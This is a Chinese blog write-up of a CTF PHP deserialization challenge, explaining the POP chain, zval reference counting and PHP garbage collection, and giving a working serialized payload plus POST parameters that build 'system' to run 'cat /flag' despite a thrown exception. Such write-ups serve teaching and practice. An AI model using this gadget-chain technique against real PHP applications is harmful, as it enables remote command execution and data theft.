首页 > 编程语言 >php反序列化gc

php反序列化gc

时间:2024-05-01 21:55:06浏览次数:25  
标签:容器 php 变量 refcount zval gc new 序列化 ref

通过一道题来边看边讲php中的zval容器和gc回收机制

ezpop

<?php
error_reporting(0);
highlight_file(__FILE__);
class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}
class BBB
{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}
class CCC
{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br>";
        echo $this->c;
    }
}
if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}

这道题的pop链非常的明确

xy->CCC.__destruct()->AAA.__tostring->BBB.__get()

比较难想的一共有两个点,其一是如何通过call_user_function来调用系统函数,他的嵌套比较复杂.
这里我们可以利用php中的implode函数,作用是将一个数组中的所有值作为一个字符串来穿起来,并返回该字符串.我们看一个自己设计的例子

<?php
$a='implode';
$b=array('shell1'=>'im','shell2'=>'plode');
$c=array('sys','tem');
$d='dir';
call_user_func($a, $b)($c)($d);
//输出当前目录

我们可以通过这个构造方法来实现最后的执行.
第二个问题,如何解决一个throw new Exception("noooooob!!!");在to_string中,如果返回的不是字符串,那么就会出现报错,而如果出现报错,那么就会抛出错误并结束程序,那么就无法执行到系统命令.
这里我们需要了解php的gc回收机制.

引用计数

当我们PHP创建一个变量时,这个变量会被存储在一个名为zval的变量容器中。在这个zval变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。

struct _zval_struct {
    zvalue_value value;       /* value */ 
    zend_uint refcount__gc;   /* value of ref count */
    zend_uchar type;          /* active type */ 
    zend_uchar is_ref__gc;    /* if it is a ref variable */ 
}; 
typedef struct _zval_struct zval;

第一个字节名为is_ref,是bool值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。

第二个字节是refcount,它用来表示指向zval变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。

看接下来的这个例子

<?php
$a = "new string"; 
xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容
?>

我们可以看到这里定义了一个变量$a,生成了类型为String和值为new string的变量容器,而对于两个额外的字节,is_refrefcount,我们这里可以看到是不存在引用的,所以is_ref的值应该是false,而refcount是表示变量个数的,那么这里就应该是1,接下来我们验证一下
image
接下来我们添加一个引用

<?php
$a="new string"; 
$b =&$a;
xdebug_debug_zval('a');
?>

按照之前的思路,每生成一个变量就有一个zval记录其类型和值以及两个额外字节,那我们这里的话a的refcount应该是2,is_ref应该是true,接下来我们验证一下
image
接下来说一下容器的销毁这个事。
变量容器在refcount变成0时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了unset()函数,refcount就会减1。
看个例子

<?php
$a="new string"; 
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>

按照刚刚所说,那么这里的首次输出的is_ref应该是truerefcount为3。
第二次输出的is_ref值是什么呢,我们可以看到引用$a的变量$b$c都被unset了,所以这里的is_ref应该是false,也是因为unset,这里的refcount应该从3变成了1,接下来验证一下
image
一般来说一个对象的zval容器是在程序结束以后会被销毁回收,从而触发__destruct魔术方法,那么有没有办法提前触发,从而在执行throw new Exception("noooooob!!!");之前成功的getshell呢?答案是有的,如果我能够使得$a的zval容器中的一个refcount为0,那么就能提前将其销毁,类似unset的用法.
我们可以设置一个数组,数组中的第一个变量是我们需要的对象,第二个变量是一个字符串.然后我们在反序列化结束以后将其长度改为0,也就是直接不设长度,那么就会在反序列化之后使得$a的zval容器的refcount值变为0,从而这个zval容器销毁,在不触发错误检查时进行反序列化攻击.

$a=new BBB();
$a->c=array('sys','tem');
$a->d='cat /flag';
$b=new AAA();
$b->s=$a;
$b->a='helloworld';
$c=new CCC();
$c->c=$b;
$d=array($c,0);
echo serialize($d);
//post传参  a=implode&shell1=im&shell2=plode

然后在得到结果以后将后面的0的长度改为0即可
payload如下

?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";a:2:{i:0;s:3:"sys";i:1;s:3:"tem";}s:1:"d";s:9:"cat /flag";}s:1:"a";s:10:"helloworld";}}i:0;i:0;}

倒数第7个字符串原本是1;

标签:容器,php,变量,refcount,zval,gc,new,序列化,ref
From: https://www.cnblogs.com/merak-lbz/p/18169697

相关文章

  • 基于Hyperf的CMS,企业官网通用php-swoole后台管理系统
    2023年9月11日10:47:00仓库地址:https://gitee.com/open-php/zx-hyperf-cmsCMS,企业官网通用PHP后台管理系统框架介绍hyperfSCUI后端开发组件php8.1hyperf3.1数据库sql(使用最新日期文件)hyperf\doc\sql_bakmysql8.系统默认账号密码:admin/admin前端开发组件scui......
  • 30 秒出服装设计稿,森马用函数计算+AIGC 整“新活”!
    创新项目如何去赋能我们的业务,这件事情在森马很重要。阿里云函数计算帮我们屏蔽掉了想把AI落地到实际业务场景中GPU算力资源储备、采购成本、技术门槛等很多难题,从而迅速做出决策,快人一步站在正确的起点,体验新技术对整个服装爆款设计、营销链路带来的改变。—— 林建霞 森马......
  • PHP框架Laravel+Vue3+前后端分离开发模式+实战项目
    1、本实战项目采用前后端分离的开发模式,前端框架vue3,后端框架laravel10。所谓的前后端分离的开发,就是有别于利用cookie,session的基于会话机制的开发模式;前后端分离的开发模式是基于jwt的开发模式,也就是说后端的接口数据不仅可以支持web页面,也可以支持微信小程序,公众号,app等移动端......
  • PHP mysql 大量批量insert或update数据出错问题
    UPDATEusersSETage=30WHEREname='Alice';UPDATEusersSETage=25WHEREname='Bob';UPDATEusersSETage=35WHEREname='Charlie';以上代码会导致并发性问题,因为多个更新语句可能会同时执行,导致数据错乱。解决办法:1、使用锁定LOCKTABLESusersWRIT......
  • [Python急救站]基于Transformer Models模型完成GPT2的学生AIGC学习训练模型
    为了AIGC的学习,我做了一个基于TransformerModels模型完成GPT2的学生AIGC学习训练模型,指在训练模型中学习编程AI。在编程之前需要准备一些文件:首先,先win+R打开运行框,输入:PowerShell后输入:pipinstall-Uhuggingface_hub下载完成后,指定我们的环境变量:$env:HF_ENDPOINT="ht......
  • python使用langchain调用本地大模型
    参考https://www.cnblogs.com/scarecrow-blog/p/17875127.html模型下载之前说过一次https://www.cnblogs.com/qcy-blog/p/18165717也可直接去官网,把所有文件都点一遍fromlangchainimportPromptTemplate,LLMChainimporttorchfromtransformersimportAutoTokenizer,A......
  • 30秒出服装设计稿,森马用Serverless+AIGC 整“新活”!
    “创新项目如何去赋能我们的业务,这件事情在森马很重要。阿里云函数计算帮我们屏蔽掉了想把AI落地到实际业务场景中 GPU 算力资源储备、采购成本、技术门槛等很多难题,从而迅速做出决策,快人一步站在正确的起点,体验新技术对整个服装爆款设计、营销链路带来的改变。”—— 林建霞......
  • 开发文档、PHP身份核验接口,三要素实名认证接口
    在这个数字时代,每一步的安全都至关重要。想象一下,一个简单、高效又安全的解决方案,让您的业务与客户之间建立起坚不可摧的信任桥梁,那便是翔云身份证三要素实名认证接口。翔云身份证实名认证接口,实时联网,可瞬间完成姓名、身份证号与人像的三重核验。安全,从未如此便捷。在虚......
  • PHP 使用CURL库IP欺骗,隐藏真实客户端IP
    首先搭建环境,建立个ip.php.代码如下:<?error_reporting(0);functionGetIP(){if($_SERVER['HTTP_CLIENT_IP']){$onlineip=$_SERVER['HTTP_CLIENT_IP'];}elseif($_SERVER['HTTP_X_FORWARDED_FOR']){$onlineip=$_SERVER['HTTP_X_......
  • php 开发规范
    ===========================框架=========================·使用laravel框架,原因:tp的框架路由和orm没有laravel好用· 使用强制路由,方便接口多时,分多版本,分文件夹等操作 ===========================接口=========================· 接口开发注意字段类型,字段是int,查......